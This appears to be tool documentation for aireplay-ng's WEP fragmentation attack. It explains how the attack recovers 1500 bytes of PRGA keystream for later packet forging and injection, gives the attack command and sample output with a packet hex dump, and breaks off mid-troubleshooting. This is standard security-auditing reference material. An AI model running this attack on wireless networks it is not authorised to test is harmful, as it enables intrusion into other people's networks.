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This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.
Basically, the program obtains a small amount of keying material from the packet then attempts to send ARP and/or LLC packets with known content to the access point (AP). If the packet is successfully echoed back by the AP then a larger amount of keying information can be obtained from the returned packet. This cycle is repeated several times until 1500 bytes of PRGA are obtained or sometimes less then 1500 bytes.
The original paper, The Fragmentation Attack in Practice, by Andrea Bittau provides a much more detailed technical description of the technique. A local copy is located here. Here are presentation slides of a related paper. A local copy of the slides is located here. Also see the paper “The Final Nail in WEP's Coffin” on this page.
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0
Optionally, the following filters can be applied:
Optionally, the following replay options can be set:
Essentially you start the attack with the following command then select the packet you want to try:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0 Waiting for a data packet... Read 96 packets... Size: 120, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 00:0F:B5:AB:CB:9D Source MAC = 00:D0:CF:03:34:8C 0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@. 0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz. 0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn. 0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0. 0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l.... 0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.).. 0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....<R. 0x0070: 0505 933f af2f 740e ...?./t. Use this packet ? y
The program responds (or similar):
Saving chosen packet in replay_src-0124-161120.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0124-161129.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
You have successfully obtained the PRGA which is stored in the file named by the program. You can now use packetforge-ng to generate one or more packets to be used for various injection attacks.
Although not a direct troubleshooting tip for the fragmentation attack, if you are unable to get the attack to work, there are some alternate attacks you should consider:
If you receive a message similar to:
20:49:37 Sending fragmented packet 20:49:37 Not enough acks, repeating… 20:49:37 Sending fragmented packet 20:49:38 Not enough acks, repeating… 20:49:38 Sending fragmented packet 20:49:39 No answer, repeating…